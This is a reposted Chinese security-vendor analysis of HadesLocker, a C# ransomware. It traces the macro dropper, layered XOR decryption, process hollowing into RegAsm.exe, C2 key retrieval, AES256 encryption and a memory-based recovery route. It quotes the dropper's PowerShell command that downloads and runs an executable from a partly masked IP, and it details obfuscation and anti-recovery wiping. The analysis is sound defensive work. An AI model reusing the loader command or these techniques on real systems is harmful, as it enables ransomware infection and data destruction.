安全路透社
当前位置:安全路透社 > 网络转载 > 正文

直面冥王:最新爆发的C#敲诈木马HadesLocker解读

近日哈勃分析系统捕获到一类由C#语言编写的新的敲诈勒索木马。之前出现 的C#语言编写的木马只是简单地调用了一些C#库来辅助开发。与之相比,这次的变种增加了多层嵌套解密、动态反射调用 等复杂手段,外加多种混淆技术, 提升了分析难度。

木马加密文件时使用AES256算法, 在特定条件下可以还原加密的文件。

背景简介:

HadesLocker是10月份新爆发的一个敲诈勒索类木马,会加密用户 特定后缀名的文件,包括本地驱动器和网络驱动器, 加密后文件后缀为.~HL外加5个 随机字符,然后生成txt,html、png三种形式的文件来通知用户支付 赎金,桌面背景也会被改为生成的png文件。

图片1.png 

打开支付赎金的网站可以看到,用户必须支付1比特币的赎金才能获取解密 密码,并且如果在规定的时间内没有支付,赎金价格将升至2比特币 。在该网站上,木马作者将其命名为HadesLocker。此网站域名为俄罗斯顶级域名ru,无法查询到进一步的注册信息。

图片2.png 

样本分析:

原始传播文件依然延续了最近的趋势,使用宏文档进行传播,打开文档之后运行宏会 启动powershell命令,下载木马主体并且运行 :

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://185.*.*.66/update.exe','C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe'); Start-Process('C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe')

其中的下载IP经查询来自荷兰。

下载到的update345.exe是一个rar自解压 包,打开后可以看到包含3个文件, 其中一个exe是木马启动入口,另外两个文件均是一些二进制数据。

图片3.png

Osiyykss.exe是一个C#程序,所有 的源码都经过了混淆,主要包括函数名与变量名混淆 ,执行流程混淆,外加垃圾指令等。

例如下面是其中一个较为简单的被混淆的方法:

图片4.png

可以看到混淆形式如下:

while(true)

{

switch()

case 1:

case 2:

……

}

使用其中硬编码的一些大数常量,然后 通过各种运算决定进哪个执行分支,以此 混淆执行流。因此后面可以看到,本文几乎所有截图中的代码 基本都在某个switch的case里。外加所有的字符串都是动态解密的,这 对静态分析造成了很大困扰,所以主要需要依靠动态调试这个样本。

Osiyykss.exe分析:

Osiyykss.exe启动后首先读取压缩包内的另一个文件Krrxoeoaonmsiyyk.png, 并且开始解密:

图片5.png

Krrxoeoaonmsiyyk.png解密后是一个C#程序集,解密 方法不算复杂,使用固定的字符串“Dlghooxwxclesvxamv” 为key,然后顺序异或加密。由此可得到 解密算法为:

For i in FileSize:

FileBytes[i] ^= Key[ i % KenLen ];

解密后的程序集是这样的:

图片6.png

解密后Osiyykss.exe使用延迟绑定技术动态调用 这个名为”IE”的程序集:

图片7.png

IE程序集:

首先木马将自身复制到AppData\Roaming\wow6232node目录 下,此目录名怀疑是模仿系统中常见的WOW6432Node的名称。

图片8.png

然后创建一个快捷方式,指向wow6232node目录下的 新文件,并且将快捷方式设置为自启动项。

图片9.png

接下来读取压缩包的另一个文件Senagxehdojk.xml,并且调用IE:PolyDecrypt开始解密 ,解密的key与之前解密IE程序集的key一样 ,但是解密方法略有不同,解密算法大意如下:

For i in FileSize*2:

FileBytes[i % FileSize] = (BYTE)(((int)((FileBytes[i % FileSize] ^ Key[i % KeyLen]) - FileBytes[(i + 1) % FileSize]) + 256) % 256);

图片10.png

Senagxehdojk.xml解密后为另一个程序集S oftware,这个程序集才是敲诈木马实现 加密勒索的主要程序集,但木马十分狡猾,并没有直接调用该程序集。

说回IE程序集,IE程序集资源还包含了一个PE文件:

图片11.png

该PE文件也是一个C#程序集,名为C Lib,IE程序集使用反射技术动态调用 资源中Clib程序集的Pe.Run()。

图片12.png

CLib程序集:

接下来的流程在CLib程序集 上负责执行,上图可以看到,在调用此程序集 时还使用了3个参数,Injection是.net目录 下RegAsm.exe的全路径,parameters为null ,而vfile则是之前解密的Software 程序集的资源数据。

图片13.png

CLib程序集的功能比较单一,首先以 CREATE_SUSPENDED创建RegAsm.exe进程并挂起:

图片14.png

然后使用PeLoader技术,将RegAsm进程 的内存镜像替换为之前解密的software程序集, 然后恢复原RegAsm.exe进程继续执行。

Software程序集:

此时经过了层层的动态load、内存加载技术 ,终于要到了真正加密文件的地方了,按照之前流程所述, 虽然进程是RegAsm.exe,但这时RegAsm.exe的实际内存 其实已经被替换为Software程序集了。

Software程序集首先解密两段局部 变量保存的的二进制数据。第一段数据解密后发现又 是一个程序集,然后反射动态加载该程序集。

图片15.png

因为是从一个局部硬编码 的二进制数据中解密的,所以该程序集不是很大,用Reflector可以 看到该程序集并没有实际的功能,但资源里包含两个字符串,内容是 加密所有文件后,木马生成用来通知用户 支付赎金的文本,包括HTML 与TXT。

图片16.png

第二段数据解密后是木马 将要使用的所有的字符串数据,如赎金支付网址等。

然后,Software程序集从HKEY_CURRENT_USER\Software\Wow6232Node获取hwid和status的 值,如果不存在就创建该注册表项,并计算键值。

status代表当前加密状态,未加密为0,当加密完全盘后置为 1。

hwid代表被感染用户的唯一ID,这个ID很重要 ,用于表明受害者的身份,计算方法如下:先生成 一段GUID,然后把其中的“ -”替换掉,最后 取前0×10个字节,转为大写,就得到了当前用户的ID。

接下来,木马从http://ip-api.com/xml获取当前 的IP信息,以及获取计算机名,账户名等信息。

图片17.png

这些数据都获取到之后,木马会把数据发往服务器ng****tz.ru去 请求加密密钥,请求使用的是HTTP POST的方式, 参数包括之前计算的中招用户唯一ID,账户名,计算机名、 IP地址、国家信息等:

hwid=****&tracking_id=****&usercomputername=****&ip=*.*.*.*&country=CN

如果是在断网状态下,则木马 会不断尝试连接,直到连接成功,因此在断网状态文件不会 立即加密。

服务器接收到POST请求后 返回信息为如下格式:

"[STATUS=ACCEPTED][=][PASSWORD=0KDZX-zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn]"

其中的PASSWORD以“-” 分割为两部分。

第一部分表明加密后的文件的随机后缀名 ,文件后缀名规则为.~HL加上获取到的随机字符,所以本次被加密 文件的后缀名为.~HL0KDZX 。

第二部分为zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn,首先把 字符串根据ascii转换为二进制,然后计算一次SHA512,HASH完 的结果长度为0×40个字节,分为2个 部分,前0×20为Key1,中间0×10个字节为Key2, 两个Key都是接下来的文件 加密算法用到的参数。

接下来开始生成PNG、TXT、HTML三种格式的文件 用于通知用户,文件名规则为README_RECOVER_FILES_加HWID 再加上相应的后缀名。通知内容中, 支付赎金截止日期为系统当前时间加7天,其余一些 信息则简单做一些替换,比如用户当前的HWID、支付赎金的网站等。生成相应的文件内容后, 保存到系统关键目录下, 比如Documents,Pictures目录。

做完以上步骤之后,木马开始加密文件,会被此木马加密的所有 文件后缀名如下:

.contact .dbx .doc .docx .jnt .jpg .mapimail .msg .oab .ods .pdf .pps .ppsm .ppt .pptm .prf .pst .rar .rtf .txt .wab .xls .xlsx .xml .zip .1cd .3ds .3g2 .3gp .7z .7zip .accdb .aoi .asf .asp .aspx .asx .avi .bak .cer .cfg .class .config .css .csv .db .dds .dwg .dxf .flf .flv .html .idx .js .key .kwm .laccdb .ldf .lit .m3u .mbx .md .mdf .mid .mlb .mov .mp3 .mp4 .mpg .obj .odt .pages .php .psd .pwm .rm .safe .sav .save .sql .srt .swf .thm .vob .wav .wma .wmv .xlsb .3dm .aac .ai .arw .c .cdr .cls .cpi .cpp .cs .db3 .docm .dot .dotm .dotx .drw .dxb .eps .fla .flac .fxg .java .m .m4v .max .mdb .pcd .pct .pl .potm .potx .ppam .ppsm .ppsx .pptm .ps .pspima .r3d .rw2 .sldm .sldx .svg .tga .wps .xla .xlam .xlm .xlr .xlsm .xlt .xltm .xltx .xlw .act .adp .al .bkp .blend .cdf .cdx .cgm .cr2 .crt .dac .dbf .dcr .ddd .design .dtd .fdb .fff .fpx .h .iif .indd .jpeg .mos .nd .nsd .nsf .nsg .nsh .odc .odp .oil .pas .pat .pef .pfx .ptx .qbb .qbm .sas7bd .say .st4 .st6 .stc .sxc .sxw .tlg .wad .xlk .aiff .bin .bmp .cmt .dat .dit .edb .flvv .gif .groups .hdd .hpp .log .m2ts .m4p .mkv .mpeg .ndf .nvram .ogg .ost .pab .pdb .pif .png .qed .qcow .qcow2 .rvt .st7 .stm .vbox .vdi .vhd .vhdx .vmdk .vmsd .vmx .vmxf .3fr .3pr .ab4 .accde .accdr .accdt .ach .acr .adb .ads .agdl .ait .apj .asm .awg .back .backup .backup .bank .bay .bdb .bgt .bik .bpw .cdr3 .cdr4 .cdr5 .cdr6 .cdrw .ce1 .ce2 .cib .craw .crw .csh .csl .db_jou .dc2 .dcs .ddoc .ddrw .der .des .dgc .djvu .dng .drf .dxg .eml .erbsql .erf .exf .ffd .fh .fhd .gray .grey .gry .hbk .ibank .ibd .ibz .iiq .incpas .jpe .kc2 .kdbx .kdc .kpdx .lua .mdc .mef .mfw .mmw .mny .moneyw .mrw .myd .ndd .nef .nk2 .nop .nrw .ns2 .ns3 .ns4 .nwb .nx2 .nxl .nyf .odb .odf .odg .odm .orf .otg .oth .otp .ots .ott .p12 .p7b .p7c .pdd .pem .plus_m .plc .pot .pptx .psafe3 .py .qba .qbr .qbw .qbx .qby .raf .rat .raw .rdb .rwl .rwz .s3db .sd0 .sda .sdf .sqlite .sqlite .sqlite .sr2 .srf .srw .st5 .st8 .std .sti .stw .stx .sxd .sxg .sxi .sxm .tex .wallet .wb2 .wpd .x11 .x3f .xis .ycbcra .yuv

在加密过程中,为了保证系统正常运行,如下几个目录会被木马跳过:

Windows、program files、program files(x86)、system volume information、 $recycle.bin

木马的加密方式为AES256对称加密, key为之前得到的key1, IV为key2,以0×1000为单位循环加密 ,对于文件大小小于0×1000的文件,使用0来 补齐。大于0×1000的文件,最后不够0×1000的内容重复使用 之前的buffer补齐。

图片18.png

加密完文件后,对于原始文件木马并没有 马上直接删除,而是先生成随机数进行填充 ,并且篡改了文件的创建时间、最后访问时间等,最后再进行删除 。这样做的目的是防止使用一些文件恢复工具进行恢复, 从中也可以看出此木马为了获取非法利益给受害者造成了非常大的破坏。

图片19.png

在加密了全盘文件后,木马会打开HTML和TXT文件 ,并且修改桌面背景以通知用户支付赎金。

密钥与解密:

在加密过程中,可以看到木马使用的是 AES加密,所以如果知道密钥是可以恢复文件的,而密钥获取 是通过向服务器POST请求拿到PASSWORD,然后通过SHA512计算 来的。遗憾的是,就算使用固定的 HWID,IP等信息,每次请求获取到的PASSWORD 都不相同,可见服务器进行了一些随机化处理,因此这个方法获取 密钥是行不通的。

图片20.png

不过,服务器传回的PASSWORD信息,在木马 的主体,也就是RegAsm.exe进程的 内存里可以找到,而且RegAsm.exe在完成所有加密后并不会退出, 因此如果在用户重启电脑之前,能够从内存中提取出这段密钥,可以尝试还原被加密的文件。

图片21.png

*作者:腾讯电脑管家(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.com)。

未经允许不得转载:安全路透社 » 直面冥王:最新爆发的C#敲诈木马HadesLocker解读

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册